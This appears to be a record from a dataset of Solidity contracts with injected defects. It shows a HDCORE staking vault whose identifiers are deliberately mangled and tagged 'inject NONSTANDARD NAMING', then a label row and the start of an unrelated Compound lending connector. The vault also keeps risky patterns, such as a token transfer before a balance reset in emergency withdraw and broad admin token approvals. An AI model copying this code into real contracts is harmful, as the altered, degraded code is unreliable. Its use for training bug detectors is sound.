p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function LOG714(address p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // HDCore Vault distributes fees equally amongst staked pools // Have fun reading it. Hopefully it's bug-free. God bless. contract HdcoreVault is OwnableUpgradeSafe { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of HdCOREs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accHdcorePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws tokens to a pool. Here's what happens: // 1. The pool's `accHdcorePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 token; // Address of token contract. uint256 allocPoint; // How many allocation points assigned to this pool. HDCOREs to distribute per block. uint256 accHdcorePerShare; // Accumulated HDCOREs per share, times 1e12. See below. bool withdrawable; // Is this pool withdrawable? mapping(address => mapping(address => uint256)) allowance; } // The HDCORE TOKEN! INBUNIERC20 public hdcore; // Dev address. address public devaddr; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; uint256 public pendingRewards; uint256 public contractStartBlock; uint256 public epochCalculationStartBlock; uint256 public cumulativeRewardsSinceStart; uint256 public rewardsInThisEpoch; uint public epoch; // Returns fees generated since start of this contract function AVERAGEFEESPERBLOCKSINCESTART533() external view returns (uint averagePerBlock) { //inject NONSTANDARD NAMING averagePerBlock = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch).DIV156(block.number.SUB877(contractStartBlock)); } // Returns averge fees in this epoch function AVERAGEFEESPERBLOCKEPOCH880() external view returns (uint256 averagePerBlock) { //inject NONSTANDARD NAMING averagePerBlock = rewardsInThisEpoch.DIV156(block.number.SUB877(epochCalculationStartBlock)); } // For easy graphing historical epoch rewards mapping(uint => uint256) public epochRewards; //Starts a new calculation epoch // Because averge since start will not be accurate function STARTNEWEPOCH403() public { //inject NONSTANDARD NAMING require(epochCalculationStartBlock + 50000 < block.number, "New epoch not ready yet"); // About a week epochRewards[epoch] = rewardsInThisEpoch; cumulativeRewardsSinceStart = cumulativeRewardsSinceStart.ADD659(rewardsInThisEpoch); rewardsInThisEpoch = 0; epochCalculationStartBlock = block.number; ++epoch; } event DEPOSIT941(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING event WITHDRAW483(address indexed user, uint256 indexed pid, uint256 amount); //inject NONSTANDARD NAMING event EMERGENCYWITHDRAW770( //inject NONSTANDARD NAMING address indexed user, uint256 indexed pid, uint256 amount ); event APPROVAL172(address indexed owner, address indexed spender, uint256 _pid, uint256 value); //inject NONSTANDARD NAMING function INITIALIZE896( //inject NONSTANDARD NAMING INBUNIERC20 _hdcore ) public INITIALIZER933 { OwnableUpgradeSafe.__OWNABLE_INIT503(); DEV_FEE = 724; hdcore = _hdcore; devaddr = msg.sender; contractStartBlock = block.number; _superAdmin = msg.sender; } function POOLLENGTH724() external view returns (uint256) { //inject NONSTANDARD NAMING return poolInfo.length; } // Add a new token pool. Can only be called by the owner. // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function ADD659( //inject NONSTANDARD NAMING uint256 _allocPoint, IERC20 _token, bool _withUpdate, bool _withdrawable ) public ONLYOWNER691 { if (_withUpdate) { MASSUPDATEPOOLS941(); } uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { require(poolInfo[pid].token != _token,"Error pool already added"); } totalAllocPoint = totalAllocPoint.ADD659(_allocPoint); poolInfo.push( PoolInfo({ token: _token, allocPoint: _allocPoint, accHdcorePerShare: 0, withdrawable : _withdrawable }) ); } // Update the given pool's HDCOREs allocation point. Can only be called by the owner. // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function SET408( //inject NONSTANDARD NAMING uint256 _pid, uint256 _allocPoint, bool _withUpdate ) public ONLYOWNER691 { if (_withUpdate) { MASSUPDATEPOOLS941(); } totalAllocPoint = totalAllocPoint.SUB877(poolInfo[_pid].allocPoint).ADD659( _allocPoint ); poolInfo[_pid].allocPoint = _allocPoint; } // Update the given pool's ability to withdraw tokens // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus function SETPOOLWITHDRAWABLE817( //inject NONSTANDARD NAMING uint256 _pid, bool _withdrawable ) public ONLYOWNER691 { poolInfo[_pid].withdrawable = _withdrawable; } // Sets the dev fee for this contract // defaults at 7.24% // Note contract owner is meant to be a governance contract allowing HDCORE governance consensus uint16 DEV_FEE; function SETDEVFEE755(uint16 _DEV_FEE) public ONLYOWNER691 { //inject NONSTANDARD NAMING require(_DEV_FEE <= 1000, 'Dev fee clamped at 10%'); DEV_FEE = _DEV_FEE; } uint256 pending_DEV_rewards; // View function to see pending HDCOREs on frontend. function PENDINGHDCORE546(uint256 _pid, address _user) //inject NONSTANDARD NAMING external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accHdcorePerShare = pool.accHdcorePerShare; return user.amount.MUL487(accHdcorePerShare).DIV156(1e12).SUB877(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function MASSUPDATEPOOLS941() public { //inject NONSTANDARD NAMING console.LOG714("Mass Updating Pools"); uint256 length = poolInfo.length; uint allRewards; for (uint256 pid = 0; pid < length; ++pid) { allRewards = allRewards.ADD659(UPDATEPOOL374(pid)); } pendingRewards = pendingRewards.SUB877(allRewards); } // ---- // Function that adds pending rewards, called by the HDCORE token. // ---- uint256 private hdcoreBalance; function ADDPENDINGREWARDS319(uint256 _) public { //inject NONSTANDARD NAMING uint256 newRewards = hdcore.BALANCEOF536(address(this)).SUB877(hdcoreBalance); if(newRewards > 0) { hdcoreBalance = hdcore.BALANCEOF536(address(this)); // If there is no change the balance didn't change pendingRewards = pendingRewards.ADD659(newRewards); rewardsInThisEpoch = rewardsInThisEpoch.ADD659(newRewards); } } // Update reward variables of the given pool to be up-to-date. function UPDATEPOOL374(uint256 _pid) internal returns (uint256 hdcoreRewardWhole) { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; uint256 tokenSupply = pool.token.BALANCEOF536(address(this)); if (tokenSupply == 0) { // avoids division by 0 errors return 0; } hdcoreRewardWhole = pendingRewards // Multiplies pending rewards by allocation point of this pool and then total allocation .MUL487(pool.allocPoint) // getting the percent of total pending rewards this pool should get .DIV156(totalAllocPoint); // we can do this because pools are only mass updated uint256 hdcoreRewardFee = hdcoreRewardWhole.MUL487(DEV_FEE).DIV156(10000); uint256 hdcoreRewardToDistribute = hdcoreRewardWhole.SUB877(hdcoreRewardFee); pending_DEV_rewards = pending_DEV_rewards.ADD659(hdcoreRewardFee); pool.accHdcorePerShare = pool.accHdcorePerShare.ADD659( hdcoreRewardToDistribute.MUL487(1e12).DIV156(tokenSupply) ); } // Deposit tokens to HdcoreVault for HDCORE allocation. function DEPOSIT767(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; MASSUPDATEPOOLS941(); // Transfer pending tokens // to user UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender); //Transfer in the amounts from user // save gas if(_amount > 0) { pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount); user.amount = user.amount.ADD659(_amount); } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit DEPOSIT941(msg.sender, _pid, _amount); } // Test coverage // [x] Does user get the deposited amounts? // [x] Does user that its deposited for update correcty? // [x] Does the depositor get their tokens decreased function DEPOSITFOR318(address depositFor, uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING // requires no allowances PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][depositFor]; MASSUPDATEPOOLS941(); // Transfer pending tokens // to user UPDATEANDPAYOUTPENDING193(_pid, pool, user, depositFor); // Update the balances of person that amount is being deposited for if(_amount > 0) { pool.token.SAFETRANSFERFROM64(address(msg.sender), address(this), _amount); user.amount = user.amount.ADD659(_amount); // This is depositedFor address } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit DEPOSIT941(depositFor, _pid, _amount); } // Test coverage // [x] Does allowance update correctly? function SETALLOWANCEFORPOOLTOKEN927(address spender, uint256 _pid, uint256 value) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; pool.allowance[msg.sender][spender] = value; emit APPROVAL172(msg.sender, spender, _pid, value); } // Test coverage // [x] Does allowance decrease? // [x] Do oyu need allowance // [x] Withdraws to correct address function WITHDRAWFROM678(address owner, uint256 _pid, uint256 _amount) public{ //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.allowance[owner][msg.sender] >= _amount, "withdraw: insufficient allowance"); pool.allowance[owner][msg.sender] = pool.allowance[owner][msg.sender].SUB877(_amount); _WITHDRAW26(_pid, _amount, owner, msg.sender); } // Withdraw tokens from HdcoreVault. function WITHDRAW844(uint256 _pid, uint256 _amount) public { //inject NONSTANDARD NAMING _WITHDRAW26(_pid, _amount, msg.sender, msg.sender); } // Low level withdraw function function _WITHDRAW26(uint256 _pid, uint256 _amount, address from, address to) internal { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][from]; require(user.amount >= _amount, "withdraw: not good"); MASSUPDATEPOOLS941(); UPDATEANDPAYOUTPENDING193(_pid, pool, user, from); // Update balances of from this is not withdrawal but claiming HDCORE farmed if(_amount > 0) { user.amount = user.amount.SUB877(_amount); pool.token.SAFETRANSFER239(address(to), _amount); } user.rewardDebt = user.amount.MUL487(pool.accHdcorePerShare).DIV156(1e12); emit WITHDRAW483(to, _pid, _amount); } function CLAIM95(uint256 _pid) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][msg.sender]; MASSUPDATEPOOLS941(); UPDATEANDPAYOUTPENDING193(_pid, pool, user, msg.sender); } function UPDATEANDPAYOUTPENDING193(uint256 _pid, PoolInfo storage pool, UserInfo storage user, address from) internal { //inject NONSTANDARD NAMING if(user.amount == 0) return; uint256 pending = user .amount .MUL487(pool.accHdcorePerShare) .DIV156(1e12) .SUB877(user.rewardDebt); if(pending > 0) { SAFEHDCORETRANSFER939(from, pending); } } // function that lets owner/governance contract // approve allowance for any token inside this contract // This means all future UNI like airdrops are covered // And at the same time allows us to give allowance to strategy contracts. // Upcoming cYFI etc vaults strategy contracts will use this function to manage and farm yield on value locked function SETSTRATEGYCONTRACTORDISTRIBUTIONCONTRACTALLOWANCE131(address tokenAddress, uint256 _amount, address contractAddress) public ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING require(ISCONTRACT107(contractAddress), "Recipent is not a smart contract, BAD"); require(block.number > contractStartBlock.ADD659(95_000), "Governance setup grace period not over"); // about 2weeks IERC20(tokenAddress).APPROVE926(contractAddress, _amount); } function ISCONTRACT107(address addr) public returns (bool) { //inject NONSTANDARD NAMING uint size; assembly { size := extcodesize(addr) } return size > 0; } // Withdraw without caring about rewards. EMERGENCY ONLY. // !Caution this will remove all your pending rewards! function EMERGENCYWITHDRAW608(uint256 _pid) public { //inject NONSTANDARD NAMING PoolInfo storage pool = poolInfo[_pid]; require(pool.withdrawable, "Withdrawing from this pool is disabled"); UserInfo storage user = userInfo[_pid][msg.sender]; pool.token.SAFETRANSFER239(address(msg.sender), user.amount); emit EMERGENCYWITHDRAW770(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; // No mass update dont update pending rewards } // Safe hdcore transfer function, just in case if rounding error causes pool to not have enough HDCOREs. function SAFEHDCORETRANSFER939(address _to, uint256 _amount) internal { //inject NONSTANDARD NAMING if(_amount == 0) return; uint256 hdcoreBal = hdcore.BALANCEOF536(address(this)); if (_amount > hdcoreBal) { console.LOG714("transfering out for to person:", _amount); console.LOG714("Balance of this address is :", hdcoreBal); hdcore.TRANSFER353(_to, hdcoreBal); hdcoreBalance = hdcore.BALANCEOF536(address(this)); } else { hdcore.TRANSFER353(_to, _amount); hdcoreBalance = hdcore.BALANCEOF536(address(this)); } if(pending_DEV_rewards > 0) { uint256 devSend = pending_DEV_rewards; // Avoid recursive loop pending_DEV_rewards = 0; SAFEHDCORETRANSFER939(devaddr, devSend); } } // Update dev address by the previous dev. // Note onlyOwner functions are meant for the governance contract // allowing HDCORE governance token holders to do this functions. function SETDEVFEERECIEVER7(address _devaddr) public ONLYOWNER691 { //inject NONSTANDARD NAMING devaddr = _devaddr; } address private _superAdmin; event SUPERADMINTRANSFERED362(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING function SUPERADMIN402() public view returns (address) { //inject NONSTANDARD NAMING return _superAdmin; } modifier ONLYSUPERADMIN581() { //inject NONSTANDARD NAMING require(_superAdmin == _MSGSENDER195(), "Super admin : caller is not super admin."); _; } // Assisns super admint to address 0, making it unreachable forever function BURNSUPERADMIN143() public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING emit SUPERADMINTRANSFERED362(_superAdmin, address(0)); _superAdmin = address(0); } // Super admin can transfer its powers to another address function NEWSUPERADMIN397(address newOwner) public virtual ONLYSUPERADMIN581 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit SUPERADMINTRANSFERED362(_superAdmin, newOwner); _superAdmin = newOwner; } }
inject NONSTANDARD NAMING
function LOG714(address p0, string memory p1, address p2, bool p3) internal view {
14,087,949
pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @title Compound. * @dev Lending & Borrowing. */ import { TokenInterface } from "../../common/interfaces.sol"; import { Stores } from "../../common/stores.sol"; import { Helpers } from "./helpers.sol"; import { Events } from "./events.sol"; import { CETHInterface, CTokenInterface } from "./interface.sol"; abstract contract CompoundResolver is Events, Helpers { /** * @dev Deposit ETH/ERC20_Token. * @notice Deposit a token to Compound for lending / collaterization. * @param token The address of the token to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param cToken The address of the corresponding cToken. * @param amt The amount of the token to deposit. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens deposited. */ function depositRaw( address token, address cToken, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(token != address(0) && cToken != address(0), "invalid token/ctoken address"); enterMarket(cToken); if (token == ethAddr) { _amt = _amt == uint(-1) ? address(this).balance : _amt; CETHInterface(cToken).mint{value: _amt}(); } else { TokenInterface tokenContract = TokenInterface(token); _amt = _amt == uint(-1) ? tokenContract.balanceOf(address(this)) : _amt; approve(tokenContract, cToken, _amt); require(CTokenInterface(cToken).mint(_amt) == 0, "deposit-failed"); } setUint(setId, _amt); _eventName = "LogDeposit(address,address,uint256,uint256,uint256)"; _eventParam = abi.encode(token, cToken, _amt, getId, setId); } /** * @dev Deposit ETH/ERC20_Token using the Mapping. * @notice Deposit a token to Compound for lending / collaterization. * @param tokenId The token id of the token to deposit.(For eg: ETH-A) * @param amt The amount of the token to deposit. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens deposited. */ function deposit( string calldata tokenId, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address cToken) = compMapping.getMapping(tokenId); (_eventName, _eventParam) = depositRaw(token, cToken, amt, getId, setId); } /** * @dev Withdraw ETH/ERC20_Token. * @notice Withdraw deposited token from Compound * @param token The address of the token to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param cToken The address of the corresponding cToken. * @param amt The amount of the token to withdraw. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens withdrawn. */ function withdrawRaw( address token, address cToken, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(token != address(0) && cToken != address(0), "invalid token/ctoken address"); CTokenInterface cTokenContract = CTokenInterface(cToken); if (_amt == uint(-1)) { TokenInterface tokenContract = TokenInterface(token); uint initialBal = token == ethAddr ? address(this).balance : tokenContract.balanceOf(address(this)); require(cTokenContract.redeem(cTokenContract.balanceOf(address(this))) == 0, "full-withdraw-failed"); uint finalBal = token == ethAddr ? address(this).balance : tokenContract.balanceOf(address(this)); _amt = finalBal - initialBal; } else { require(cTokenContract.redeemUnderlying(_amt) == 0, "withdraw-failed"); } setUint(setId, _amt); _eventName = "LogWithdraw(address,address,uint256,uint256,uint256)"; _eventParam = abi.encode(token, cToken, _amt, getId, setId); } /** * @dev Withdraw ETH/ERC20_Token using the Mapping. * @notice Withdraw deposited token from Compound * @param tokenId The token id of the token to withdraw.(For eg: ETH-A) * @param amt The amount of the token to withdraw. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens withdrawn. */ function withdraw( string calldata tokenId, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address cToken) = compMapping.getMapping(tokenId); (_eventName, _eventParam) = withdrawRaw(token, cToken, amt, getId, setId); } /** * @dev Borrow ETH/ERC20_Token. * @notice Borrow a token using Compound * @param token The address of the token to borrow. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param cToken The address of the corresponding cToken. * @param amt The amount of the token to borrow. * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens borrowed. */ function borrowRaw( address token, address cToken, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(token != address(0) && cToken != address(0), "invalid token/ctoken address"); enterMarket(cToken); require(CTokenInterface(cToken).borrow(_amt) == 0, "borrow-failed"); setUint(setId, _amt); _eventName = "LogBorrow(address,address,uint256,uint256,uint256)"; _eventParam = abi.encode(token, cToken, _amt, getId, setId); } /** * @dev Borrow ETH/ERC20_Token using the Mapping. * @notice Borrow a token using Compound * @param tokenId The token id of the token to borrow.(For eg: DAI-A) * @param amt The amount of the token to borrow. * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens borrowed. */ function borrow( string calldata tokenId, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address cToken) = compMapping.getMapping(tokenId); (_eventName, _eventParam) = borrowRaw(token, cToken, amt, getId, setId); } /** * @dev Payback borrowed ETH/ERC20_Token. * @notice Payback debt owed. * @param token The address of the token to payback. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param cToken The address of the corresponding cToken. * @param amt The amount of the token to payback. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens paid back. */ function paybackRaw( address token, address cToken, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(token != address(0) && cToken != address(0), "invalid token/ctoken address"); CTokenInterface cTokenContract = CTokenInterface(cToken); _amt = _amt == uint(-1) ? cTokenContract.borrowBalanceCurrent(address(this)) : _amt; if (token == ethAddr) { require(address(this).balance >= _amt, "not-enough-eth"); CETHInterface(cToken).repayBorrow{value: _amt}(); } else { TokenInterface tokenContract = TokenInterface(token); require(tokenContract.balanceOf(address(this)) >= _amt, "not-enough-token"); approve(tokenContract, cToken, _amt); require(cTokenContract.repayBorrow(_amt) == 0, "repay-failed."); } setUint(setId, _amt); _eventName = "LogPayback(address,address,uint256,uint256,uint256)"; _eventParam = abi.encode(token, cToken, _amt, getId, setId); } /** * @dev Payback borrowed ETH/ERC20_Token using the Mapping. * @notice Payback debt owed. * @param tokenId The token id of the token to payback.(For eg: COMP-A) * @param amt The amount of the token to payback. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of tokens paid back. */ function payback( string calldata tokenId, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory _eventParam) { (address token, address cToken) = compMapping.getMapping(tokenId); (_eventName, _eventParam) = paybackRaw(token, cToken, amt, getId, setId); } /** * @dev Deposit ETH/ERC20_Token. * @notice Same as depositRaw. The only difference is this method stores cToken amount in set ID. * @param token The address of the token to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) * @param cToken The address of the corresponding cToken. * @param amt The amount of the token to deposit. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of cTokens received. */ function depositCTokenRaw( address token, address cToken, uint256 amt, uint256 getId, uint256 setId ) public payable returns (string memory _eventName, bytes memory _eventParam) { uint _amt = getUint(getId, amt); require(token != address(0) && cToken != address(0), "invalid token/ctoken address"); enterMarket(cToken); CTokenInterface ctokenContract = CTokenInterface(cToken); uint initialBal = ctokenContract.balanceOf(address(this)); if (token == ethAddr) { _amt = _amt == uint(-1) ? address(this).balance : _amt; CETHInterface(cToken).mint{value: _amt}(); } else { TokenInterface tokenContract = TokenInterface(token); _amt = _amt == uint(-1) ? tokenContract.balanceOf(address(this)) : _amt; approve(tokenContract, cToken, _amt); require(ctokenContract.mint(_amt) == 0, "deposit-ctoken-failed."); } uint _cAmt; { uint finalBal = ctokenContract.balanceOf(address(this)); _cAmt = sub(finalBal, initialBal); setUint(setId, _cAmt); } _eventName = "LogDepositCToken(address,address,uint256,uint256,uint256,uint256)"; _eventParam = abi.encode(token, cToken, _amt, _cAmt, getId, setId); } /** * @dev Deposit ETH/ERC20_Token using the Mapping. * @notice Same as deposit. The only difference is this method stores cToken amount in set ID. * @param tokenId The token id of the token to depositCToken.(For eg: DAI-A) * @param amt The amount of the token to deposit. (For max: `uint256(-1)`) * @param getId ID to retrieve amt. * @param setId ID stores the amount of cTokens received. */ function depositCToken( string calldata tokenId, uint256 amt, uint256 getId, uint256 setId ) external payable returns (string memory _eventName, bytes memory 